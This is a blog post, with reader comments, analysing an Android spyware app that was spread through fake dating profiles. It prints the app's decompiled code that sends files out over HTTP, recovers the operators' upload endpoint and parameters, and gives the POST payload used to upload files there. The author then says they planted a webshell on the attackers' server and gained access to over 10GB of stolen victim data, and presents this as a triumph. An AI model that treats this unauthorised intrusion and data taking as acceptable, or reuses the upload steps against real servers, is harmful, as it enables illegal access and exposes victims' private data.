Attacking the attackers

Introduction

One day evening while I was sitting on the couch I saw on the news that someone exposed a malicious Android application that some group of hackers built.
How did they found out the application is used for malicious proposes? well, I guess it wasn’t too hard – The hackers created a fake facebook accounts with pictures of some hot random girls and contacted Israeli guys (the “victim”) using the Facebook’s chat and told the victim that if he wants to video chat with them then he has to download the android application they like so much.
After the victim downloaded the application he finds out that nothing works, the hottie that he just talked with disappeared and left with a broken heart and his pride in his hands.

I just opened a random news website to check the application name – and find out its called “GlanceLove”.

Getting a little bit deeper

After finding the apk and download it I decompiled it using JDAX and the first thing I did is to search for an “http” string (I assumed it uses HTTP protocol to leaking data).

The thing that pops immediately from the search was that the application used the “HttpURLConnection” class, which made me pretty sure that the application used a web server to leak the data, another thing is that I didn’t see is a string of the URL it should connect to, so I needed to read some code.

One of the functions used the “HttpURLConnection”  was called m7665a:

    public static String m7665a(String str, byte[] bArr) {
        String str2;
        Throwable th;
        HttpURLConnection httpURLConnection = null;
        try {
            HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL(str).openConnection();
            try {
                httpURLConnection2.setRequestMethod(f5386b);
                httpURLConnection2.setRequestProperty(f5387c, f5388d);
                httpURLConnection2.setUseCaches(false);
                httpURLConnection2.setDoInput(true);
                httpURLConnection2.setDoOutput(true);
                DataOutputStream dataOutputStream = new DataOutputStream(httpURLConnection2.getOutputStream());
                dataOutputStream.write(bArr);
                dataOutputStream.flush();
                dataOutputStream.close();
                ...
                ...
}

So this function received 2 parameters: str which is the URL, and bArr which is the data it sends to the server. We also can see that the request method defined in the f5386b variable and the request property defined in f5387c and f5388d:

private static final String f5386b = C1559l.m7683a(new C1552g[]{C1552g.P, C1552g.O, C1552g.S, C1552g.T});
private static final String f5387c = C1559l.m7683a(new C1552g[]{C1552g.C, C1552g.o, C1552g.n, C1552g.t, C1552g.e, C1552g.n, C1552g.t}).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.T, C1552g.y, C1552g.p, C1552g.e}));
private static final String f5388d = C1559l.m7683a(new C1552g[]{C1552g.a, C1552g.p, C1552g.p, C1552g.l, C1552g.i, C1552g.c, C1552g.a, C1552g.t, C1552g.i, C1552g.o, C1552g.n})M.concat("/x").concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.w, C1552g.w, C1552g.w})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.f, C1552g.o, C1552g.r, C1552g.m})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.u, C1552g.r, C1552g.l, C1552g.e, C1552g.n, C1552g.c, C1552g.o, C1552g.d, C1552g.e, C1552g.d}));

The attackers used ProGuard to obfuscate the strings and the functions names, which explain why I couldn’t find the URL string. Lucky me, you can see immediately what those strings contain:

private static final String f5386b = "POST"
private static final String f5387c = "Content-Type"
private static final String f5388d = "Application/x-www-form-urlencoded"

I checked which functions are using the m7665a function and the result was:

private static void m7672b(File file) {
    C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();
}
public static String m7489b() {
    return f5199j + C1489a.m7487a() + f5201l;
}
public static String m7487a() {
    C1545b c1545b = new C1545b(f5203n.getFilesDir().getAbsolutePath(), f5202m);
    if (c1545b.exists()) {
        String str = new String(c1545b.m7647a());
        if (!(str == null || str.isEmpty())) {
            return str;
        }
    }
    return f5204o;
}

So m7672b called m7665a with the URL defined at m7489b, which after translation returns “HTTP://WWW.GLANCELOVE.COM/APPS/d/p/OP.PHP” (m7487a does something but in the end it returns the f5204o which contains the website URL)

So now I know the full URL (After I test it I realized it should be in lowercase) the application connects to and have a lot of strings:

public static final String f5190a = ".ZIP"
public static final String f5191b = ".DATA"
public static final String f5192c = ".APK"
public static final byte[] f5193d = "A".getBytes();
public static final byte[] f5194e = "B".getBytes();
public static final byte[] f5195f = "F".getBytes();
public static final byte[] f5196g = "CCC".getBytes();
public static final byte[] f5197h = "D".getBytes();
public static final byte[] f5198i = "E".getBytes();
public static final String f5199j = "HTTP://"
public static final String f5200k = "TCP://";
public static final String f5201l = "/APPS/d/p/OP.PHP"
public static final String f5202m = "IP.TXT"
private static Context f5203n = App.m7476a();
private static String f5204o = "WWW.GLANCELOVE.COM"
private static byte[] f5394b = "devId="
private static byte[] f5395c = "&op="
private static byte[] f5396d = "&fName="
private static byte[] f5397e = "&data="
private static String f5398f = "true"

So a common sense is that all I need to do is to send a POST request to the URL with the parameters devId, op, fName, and data.
devId, fName, and data are pretty easy to guess, but I had no idea what I should put in the op, so I checked it:

private static byte[] m7671a(File file, byte[] bArr) {
    ...
    Object obj = new byte[(((((f5394b.length + a2.length) + f5396d.length) + a.length) + f5395c.length) + bArr.length)];
    ...
    System.arraycopy(bArr, 0, obj, (a.length + ((a2.length + f5394b.length) + f5396d.length)) + f5395c.length, bArr.length);
}
public static int m7668a(File file) {
    ...
    Object a = C1551f.m7671a(file, C1489a.f5196g);
    ...
}
private static void m7672b(File file) {
    C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();
}
private static long m7674c(File file) {
        ...
        return Long.parseLong(C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5197h)).trim());
}

m7671a build the opId by the value which passed from the functions m7668a, m7672b and m7674c which use the values “CCC”, “E” and “D”, respectively.

I still had no idea what those values do, so I tried them all – I sent a POST request with the payload: devId=123123&op=CCC&fName=123&data=abc

And the response I got was 38, which is exactly the payload’s length I sent, so now I assumed I managed to upload my file somewhere, but I had no clue where is it in the server.

After a few educated guesses, I find out that the path is /apps/d/uploads/dev/123123/123!

Game over. I uploaded a webshell and find out that this app has been installed in more than 500[!] cellphones and it leaked more than 10GB of data full of goods.

I had to think what can I do with think what can I do with that data – I’ll leave it for another post 🙂

7 thoughts on “Attacking the attackers”

  1. Very nicely summed up. I did the above in 2016, and you haven’t missed any of the steps. However, it will be great if you can mention de-obfuscation in detail, including tool/s for the same.

  2. Well done!
    As far as I’ve understood, that data contains sensitive information, therefore I suggest you to send it over to Troy Hunt[0].
    He’s the main behind haveibeenpwned[1] website; I’m pretty sure he’ll be glad include the data you gathered, and make the internet a (bit) safer place 🙂

    [0] http://troyhunt.com
    [1] https://haveibeenpwned.com/

Leave a Reply to Diego Casella Cancel reply

Your email address will not be published. Required fields are marked *